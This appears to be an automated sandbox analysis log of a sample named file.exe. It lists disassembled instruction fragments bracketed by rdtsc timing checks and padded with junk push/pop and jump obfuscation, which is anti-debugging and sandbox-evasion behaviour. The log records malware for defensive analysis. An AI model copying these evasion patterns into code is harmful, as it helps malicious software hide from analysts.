Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553097F second address: 5530A28 instructions: 0x00000000 rdtsc 0x00000002 mov di, BEBAh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007F99511DF62Bh 0x0000000e xor cx, 265Eh 0x00000013 jmp 00007F99511DF639h 0x00000018 popfd 0x00000019 popad 0x0000001a lea eax, dword ptr [ebp-04h] 0x0000001d jmp 00007F99511DF62Eh 0x00000022 nop 0x00000023 pushad 0x00000024 pushad 0x00000025 push esi 0x00000026 pop ebx 0x00000027 pushfd 0x00000028 jmp 00007F99511DF638h 0x0000002d add eax, 6B19C4B8h 0x00000033 jmp 00007F99511DF62Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov cx, 14EFh 0x0000003e popad 0x0000003f push eax 0x00000040 jmp 00007F99511DF635h 0x00000045 nop 0x00000046 jmp 00007F99511DF62Eh 0x0000004b push dword ptr [ebp+08h] 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 popad 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530A28 second address: 5530A45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530A45 second address: 5530A4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530B04 second address: 553027D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 pushfd 0x00000007 jmp 00007F9950E9A293h 0x0000000c add si, B17Eh 0x00000011 jmp 00007F9950E9A299h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a leave 0x0000001b jmp 00007F9950E9A28Eh 0x00000020 retn 0004h 0x00000023 nop 0x00000024 cmp eax, 00000000h 0x00000027 setne al 0x0000002a xor ebx, ebx 0x0000002c test al, 01h 0x0000002e jne 00007F9950E9A287h 0x00000030 xor eax, eax 0x00000032 sub esp, 08h 0x00000035 mov dword ptr [esp], 00000000h 0x0000003c mov dword ptr [esp+04h], 00000000h 0x00000044 call 00007F9955611D80h 0x00000049 mov edi, edi 0x0000004b pushad 0x0000004c mov bx, si 0x0000004f mov eax, 62E253FFh 0x00000054 popad 0x00000055 xchg eax, ebp 0x00000056 pushad 0x00000057 mov ebx, eax 0x00000059 mov edi, eax 0x0000005b popad 0x0000005c push eax 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553027D second address: 5530281 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530281 second address: 5530285 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530285 second address: 553028B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553028B second address: 5530291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530291 second address: 5530295 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530295 second address: 55302C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov bx, cx 0x00000010 push eax 0x00000011 push edx 0x00000012 call 00007F9950E9A28Eh 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55302C0 second address: 5530363 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99511DF62Bh 0x00000008 xor ch, FFFFFF8Eh 0x0000000b jmp 00007F99511DF639h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 jmp 00007F99511DF62Eh 0x0000001b push FFFFFFFEh 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F99511DF62Eh 0x00000024 jmp 00007F99511DF635h 0x00000029 popfd 0x0000002a pushfd 0x0000002b jmp 00007F99511DF630h 0x00000030 and esi, 298E5698h 0x00000036 jmp 00007F99511DF62Bh 0x0000003b popfd 0x0000003c popad 0x0000003d push 6EBD6561h 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F99511DF632h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530363 second address: 55303C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 1B17FB29h 0x00000010 jmp 00007F9950E9A296h 0x00000015 push 1A2FB335h 0x0000001a jmp 00007F9950E9A291h 0x0000001f add dword ptr [esp], 5B75783Bh 0x00000026 jmp 00007F9950E9A28Eh 0x0000002b mov eax, dword ptr fs:[00000000h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov esi, ebx 0x00000036 mov cx, di 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55303C9 second address: 5530415 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F99511DF630h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F99511DF62Ch 0x00000019 add ax, 8A78h 0x0000001e jmp 00007F99511DF62Bh 0x00000023 popfd 0x00000024 mov edi, ecx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530415 second address: 5530446 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A295h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007F9950E9A28Eh 0x0000000f sub esp, 18h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530446 second address: 553044A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553044A second address: 553044E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553044E second address: 5530454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530454 second address: 5530463 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A28Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530463 second address: 5530467 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530467 second address: 5530479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e movsx edi, si 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530479 second address: 55304B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov bx, 55D6h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], ebx 0x0000000f jmp 00007F99511DF62Dh 0x00000014 xchg eax, esi 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F99511DF638h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304B2 second address: 55304B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304B6 second address: 55304BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304BC second address: 55304DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A28Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9950E9A28Eh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304DF second address: 55304E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304E5 second address: 55304E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304E9 second address: 55304F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304F8 second address: 55304FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55304FC second address: 5530502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530502 second address: 553051E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A298h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553051E second address: 55305A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F99511DF62Ch 0x0000000e mov dword ptr [esp], edi 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F99511DF62Eh 0x00000018 jmp 00007F99511DF635h 0x0000001d popfd 0x0000001e mov eax, 1A9B62A7h 0x00000023 popad 0x00000024 mov eax, dword ptr [75AB4538h] 0x00000029 jmp 00007F99511DF62Ah 0x0000002e xor dword ptr [ebp-08h], eax 0x00000031 pushad 0x00000032 popad 0x00000033 xor eax, ebp 0x00000035 jmp 00007F99511DF634h 0x0000003a nop 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F99511DF637h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55305A6 second address: 553062A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F9950E9A291h 0x0000000f nop 0x00000010 jmp 00007F9950E9A28Eh 0x00000015 lea eax, dword ptr [ebp-10h] 0x00000018 pushad 0x00000019 call 00007F9950E9A28Eh 0x0000001e pop ebx 0x0000001f mov eax, 139128EDh 0x00000024 popad 0x00000025 mov dword ptr fs:[00000000h], eax 0x0000002b pushad 0x0000002c mov cx, 88A5h 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007F9950E9A290h 0x00000038 add al, FFFFFFB8h 0x0000003b jmp 00007F9950E9A28Bh 0x00000040 popfd 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553062A second address: 5530673 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F99511DF638h 0x00000008 and si, 4618h 0x0000000d jmp 00007F99511DF62Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov dword ptr [ebp-18h], esp 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F99511DF635h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530673 second address: 55306F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov si, bx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr fs:[00000018h] 0x00000011 jmp 00007F9950E9A295h 0x00000016 mov ecx, dword ptr [eax+00000FDCh] 0x0000001c pushad 0x0000001d call 00007F9950E9A28Ch 0x00000022 push eax 0x00000023 pop edx 0x00000024 pop eax 0x00000025 mov di, A652h 0x00000029 popad 0x0000002a test ecx, ecx 0x0000002c pushad 0x0000002d pushfd 0x0000002e jmp 00007F9950E9A28Fh 0x00000033 or cx, E24Eh 0x00000038 jmp 00007F9950E9A299h 0x0000003d popfd 0x0000003e mov edi, ecx 0x00000040 popad 0x00000041 jns 00007F9950E9A2ABh 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55306F5 second address: 55306F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55306F9 second address: 55306FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55306FF second address: 5530748 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, cl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a jmp 00007F99511DF62Bh 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 jmp 00007F99511DF636h 0x00000017 test ecx, ecx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F99511DF637h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530748 second address: 553074E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 553074E second address: 5530752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5530752 second address: 5530756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520147 second address: 5520181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF630h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F99511DF630h 0x0000000f push eax 0x00000010 pushad 0x00000011 call 00007F99511DF631h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520181 second address: 55201E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F9950E9A297h 0x0000000a popad 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007F9950E9A28Bh 0x00000014 pop esi 0x00000015 pushfd 0x00000016 jmp 00007F9950E9A299h 0x0000001b sub esi, 23C663C6h 0x00000021 jmp 00007F9950E9A291h 0x00000026 popfd 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201E1 second address: 55201E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201E7 second address: 55201EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55201EB second address: 5520237 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007F99511DF62Fh 0x0000000f sub esp, 2Ch 0x00000012 jmp 00007F99511DF636h 0x00000017 xchg eax, ebx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F99511DF637h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520359 second address: 55203A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b jmp 00007F9950E9A297h 0x00000010 inc ebx 0x00000011 pushad 0x00000012 jmp 00007F9950E9A28Bh 0x00000017 popad 0x00000018 test al, al 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov ecx, edx 0x0000001f mov ecx, edx 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203A7 second address: 55203BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99511DF62Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55203BA second address: 5520409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F9950E9A45Fh 0x00000011 jmp 00007F9950E9A28Eh 0x00000016 lea ecx, dword ptr [ebp-14h] 0x00000019 jmp 00007F9950E9A290h 0x0000001e mov dword ptr [ebp-14h], edi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520409 second address: 552040D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552040D second address: 5520411 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520411 second address: 5520417 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552044D second address: 5520471 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edx 0x0000000e pop eax 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520471 second address: 55204AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF62Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F99511DF632h 0x00000013 and ax, 0A58h 0x00000018 jmp 00007F99511DF62Bh 0x0000001d popfd 0x0000001e movzx eax, di 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552050C second address: 5520510 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520510 second address: 5520516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520516 second address: 552057C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9950E9A28Ch 0x00000009 add cl, FFFFFFA8h 0x0000000c jmp 00007F9950E9A28Bh 0x00000011 popfd 0x00000012 mov si, 4B9Fh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 js 00007F9950E9A2FCh 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov eax, edx 0x00000024 pushfd 0x00000025 jmp 00007F9950E9A293h 0x0000002a add eax, 2C13669Eh 0x00000030 jmp 00007F9950E9A299h 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552057C second address: 55205DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c jmp 00007F99511DF62Eh 0x00000011 jne 00007F99C171D51Fh 0x00000017 jmp 00007F99511DF630h 0x0000001c mov ebx, dword ptr [ebp+08h] 0x0000001f pushad 0x00000020 mov edx, 51547910h 0x00000025 popad 0x00000026 lea eax, dword ptr [ebp-2Ch] 0x00000029 jmp 00007F99511DF62Fh 0x0000002e xchg eax, esi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55205DB second address: 55205F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A297h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55205F6 second address: 5520645 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2B62DC2Ah 0x00000008 pushfd 0x00000009 jmp 00007F99511DF62Bh 0x0000000e or esi, 6D3EC8CEh 0x00000014 jmp 00007F99511DF639h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F99511DF633h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520645 second address: 552064B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552064B second address: 552066C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F99511DF632h 0x00000008 push esi 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552066C second address: 5520670 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520670 second address: 5520676 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520722 second address: 5520728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520728 second address: 552072C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552072C second address: 5520760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A294h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007F9950E9A290h 0x00000012 test esi, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520760 second address: 5520764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520764 second address: 5520768 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520768 second address: 552076E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552076E second address: 552077D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9950E9A28Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 552077D second address: 5520019 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99511DF639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F99C171D4DFh 0x00000011 xor eax, eax 0x00000013 jmp 00007F99511B8D5Ah 0x00000018 pop esi 0x00000019 pop edi 0x0000001a pop ebx 0x0000001b leave 0x0000001c retn 0004h 0x0000001f nop 0x00000020 mov edi, eax 0x00000022 cmp edi, 00000000h 0x00000025 setne al 0x00000028 xor ebx, ebx 0x0000002a test al, 01h 0x0000002c jne 00007F99511DF627h 0x0000002e jmp 00007F99511DF719h 0x00000033 call 00007F9955946DA0h 0x00000038 mov edi, edi 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F99511DF633h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520019 second address: 5520036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9950E9A299h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520036 second address: 5520070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 17A85F82h 0x00000008 mov edx, 0900F1CEh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push esp 0x00000011 pushad 0x00000012 mov eax, 67BE06E7h 0x00000017 mov eax, 6ADA2A83h 0x0000001c popad 0x0000001d mov dword ptr [esp], ebp 0x00000020 pushad 0x00000021 push ecx 0x00000022 mov bx, 4B56h 0x00000026 pop edx 0x00000027 mov di, si 0x0000002a popad 0x0000002b mov ebp, esp 0x0000002d pushad 0x0000002e mov edx, ecx 0x00000030 mov edi, eax 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 pushad 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5520070 second address: 5520076 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
